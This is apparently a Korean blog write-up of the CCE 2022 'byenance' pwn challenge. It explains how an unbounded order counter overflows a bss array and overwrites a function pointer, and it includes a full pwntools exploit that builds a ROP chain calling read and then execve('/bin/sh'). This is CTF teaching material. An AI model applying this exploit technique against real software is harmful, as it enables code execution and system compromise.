CIDY
[CCE 2022] byenance 본문
CCE 일반부 예선 포넙문제인데 드디어 리뷰한다,, 당시에 거의 근접했었는데 함수 포인터를 뭘로 덮을지 몰라서 날려버린 문제였다.
코드 분량은 얼마 안된다. 근데 뭐 tw에 deaslr처럼 gets만 있는 한줄짜리 코드라도 그지같을 수 있는거고,,
일단 메뉴 들어가기 전 초기 설정. me에 들어가있는 문자열은 heukwoo임,, 0x400 memset때린다. 그럼 마지막 0x10은 초기화 안 된거고, 마지막 칸에는 카나리 들어간다.
show는 bss영역에 있는 함수 포인터 같다. show_wallet함수의 주소를 담고 있다.
나머지 byte나 qword설정도 me에서 설정해준 것이다.
show_wallet함수로 보아하니 me+32는 현재 내가 가진 돈인듯.
그럼 본격적으로 while문 ㄱㄱ
umm,,
그냥 이렇게 보는게 편할듯:)
0은 누르면 바로 종료.
1은 buy ETH이다. 몇개살지 물어보고 그걸 atoi함. 여기서 v5는 unsigned int. current ETH price는 고정되어 있다. v6에 총 가격 적고,, 내 돈 * leverage 한 것 이하이면 구입 작업 시작,,
일단 총액에서 cnt를 나눈 값을 내 돈에서 뺀다. order_list,, 는
이렇게 생겼다. 첫 번째 칸에 현재가격, 두 번째 칸에 몇개 샀는지 적어주고, 세 번째 칸은 비우고, 네 번째 칸이랑 다섯번째에는,
요렇게 buy랑 eth들어가 있음. 이렇게 다섯칸을 기준으로 order_list는 굴러감,, 하필 홀수네 보기 불편하게,,
그리고 아까 비웠던 세 번째 칸에는 현재 이더리움 가격 - ( 현재 이더리움 가격 / leverage ) 을 적어준다.
그리고 이더리움 가격,,은 고정이 아니었나 보다. 1씩 내려가고 있다,, 그리고 오더카운터 1올려주고, 알림띄우고 끗. 만약 돈없으면 돈없다고 하고 ㅂㅂ
2번은 sell ETH
몇개팔건지 물어봄. 개수 * 가격이 내돈 * cnt 이하이면 역시 ㅂㅂ
그게 아니면 내 돈에서 총가격 / leverage만큼 뺀다. 첫 번째 칸에 가격, 두 번째 칸에 몇 개 팔았는지, 네 번째 칸에 ETH, 다섯 번째 칸에 SELL적힌다. 세 번째 칸에는 현재 이더리움 가격 + (현재 이더리움 가격 / leverage) 가 적힌다.
그리고 가격 늘리고, 오더카운터 늘리고 끝,,
3번은 leverage설정이다. me의 맨 마지막 칸이 leverage인데, 영향력이다. 앞서 거래에서 계속 leverage만큼 나눠지거나 곱해지는걸 볼 수 있었을 것이다. leverage가 0이거나 0x64보다 클 경우 종료됨. 그게 아니면 잘 설정해줌.
4번은 거래를 보여주는 부분이다.
오더카운터만큼 for문을 돈다. symbol은 4번째 칸, 그러니까 ETH를 출력해주고, position은 다섯 번째 칸, sell인지 buy인지 출력해줌. enter은 첫 번째 칸,, 그러니까 그당시 이더리움 가격을 십진수로 출력, amount는 몇 개 샀었는지(2번째 칸), 마지막은 세번째칸 출력해줌
hmm..일단 코드는 여기까지. 일단 order cnt에 제한이 없음. bss영역 보면 order_list뒤에 위치한 값들을 어떤 값으로 덮을 수 있다는 소리임.
딱 16번 해주면 order list는 가득참. 그리고 17번째에 sell해주면 name의 다섯 번째 칸 == position에 sell이라는 문자가 들어가서 이렇게 내 돈이 엄청 뻥튀기됨. 아마 최종 익스는 show함수 포인터로 가능할거라고 생각중인데,, 이게 정적으로 컴파일된 바이너리라서 립씨함수를 이용할수는 없고, syscall을 이용해야 할듯. seccomp같은 건 없으니 걍 0x3b 때리면 된다.
pop_rdi -> binsh_str -> pop_rsi -> 0 -> pop_rdx -> 0 -> pop_rax -> 0x3b -> syscall
하면 되는데, 정적 바이너리라 가젯 구하는 건 어렵지 않을거다. 문제는 얘를 어디에 적을지,, 사실 스택에서 입력을 엄청 길게 받고 있기 때문에 거기밖에 적어줄곳이 없긴 하다. 문제는 스택으로 실행흐름을 옮겨야 한다는 것.
그러려면 스택 주소를 show에 적어야 한다는 말인데 그게 가능한가? 사실 전역 0x400000대 정도면 돈도 꽤 벌었겠다 amount를 이용해서 order하면서 해볼만도 한데, 스택 주소 정도 크기면 어림도 없다.
bp를 움직일 수도 없는 상황이고,,
아 좋은 방법이 생각났다. show가 어떻게 호출되는지 보니 call rdx방식으로 호출된다. call되면 일단 ret주소는 당장 쌓일 거고,, sfp는 push rbp해야 쌓이는거니까 그거 하지 말고 함수 포인터에 pop pop pop 몇번하고 ret하는 가젯을 적으면 main의 스택으로 ret해서 main스택에 적은 게 실행되도록 할 수 있다. (가젯 주소 정도는 amount조작으로 해볼만한 크기이다!)
이게 ret이 쌓인 상태임. 0x31부터 내 입력이고. 그러니까 pop3번하고 ret하는 가젯을 함수 포인터에 박으면 되는 것임.
from pwn import *
def buy(many):
p.sendlineafter(b"4. show orders", b"1")
p.sendlineafter(b"?", str(many))
def sell(many):
p.sendlineafter(b"4. show orders", b"2")
p.sendlineafter(b"?", str(many))
def set(num):
p.sendlineafter(b"4. show orders", b"3")
p.sendlineafter(b"leverage", str(num))
def show():
p.sendlineafter(b"4. show orders", b"4")
pop_rax = 0x452907
pop_rdi = 0x402214
pop_rsi = 0x40a76e
pop_rdx_rbx = 0x485e9b
pop3 = 0x4050f2
syscall = 0x402954 #no return
_read = 0x451e80
bss = 0x4c6240
#p = remote("43.200.136.128", 6464)
p = process("./byenance")
set(0x64)
for i in range(16):
buy(1)
sell(1)
buy(pop3)
pay = b""
#read(0, bss, 0x8)
pay += p64(pop_rdi) + p64(0)
pay += p64(pop_rsi) + p64(bss)
pay += p64(pop_rdx_rbx) + p64(0x8) + p64(0)
pay += p64(_read)
#execve
pay += p64(pop_rdi) + p64(bss)
pay += p64(pop_rsi) + p64(0)
pay += p64(pop_rdx_rbx) + p64(0) + p64(0)
pay += p64(pop_rax) + p64(0x3b)
pay += p64(syscall)
p.sendlineafter(b"4. show orders", pay)
p.send("/bin/sh\x00")
p.interactive()
syscall 가젯이 또 ret을 안해서,, 찾아보면 거의 바로 ret하는 syscall은 찾을 수 있을 것 같긴 한데 귀찮기도 하고, 무엇보다 read함수는 바이너리 내에 존재하므로 찾을 이유가 없다 ㅋㅋ 마지막 syscall은 ret하든말든 알빠아니므로 걍 써주면 된다.
사실 내가 만든 플래그다ㅋㅋㅠㅠ 진짜 쉬운 문제인데 그당시에는 왜 못 풀었을까,,,,
그래도 실력이 늘었다는 반증이라고 생각할 수 있을 것 같다:)
'Hack > CTF' 카테고리의 다른 글
[LACTF 2023] rut-roh-relro (0) | 2023.02.14 |
---|---|
[LACTF 2023] rickroll(Write-up) (0) | 2023.02.14 |
[CCE 2022] proximity(Write-up 작성중) (0) | 2023.02.10 |
[DiceCTF 2023] bop (0) | 2023.02.05 |
[Hitcon 2022] 🐚 wtfshell (작성중) (0) | 2022.12.25 |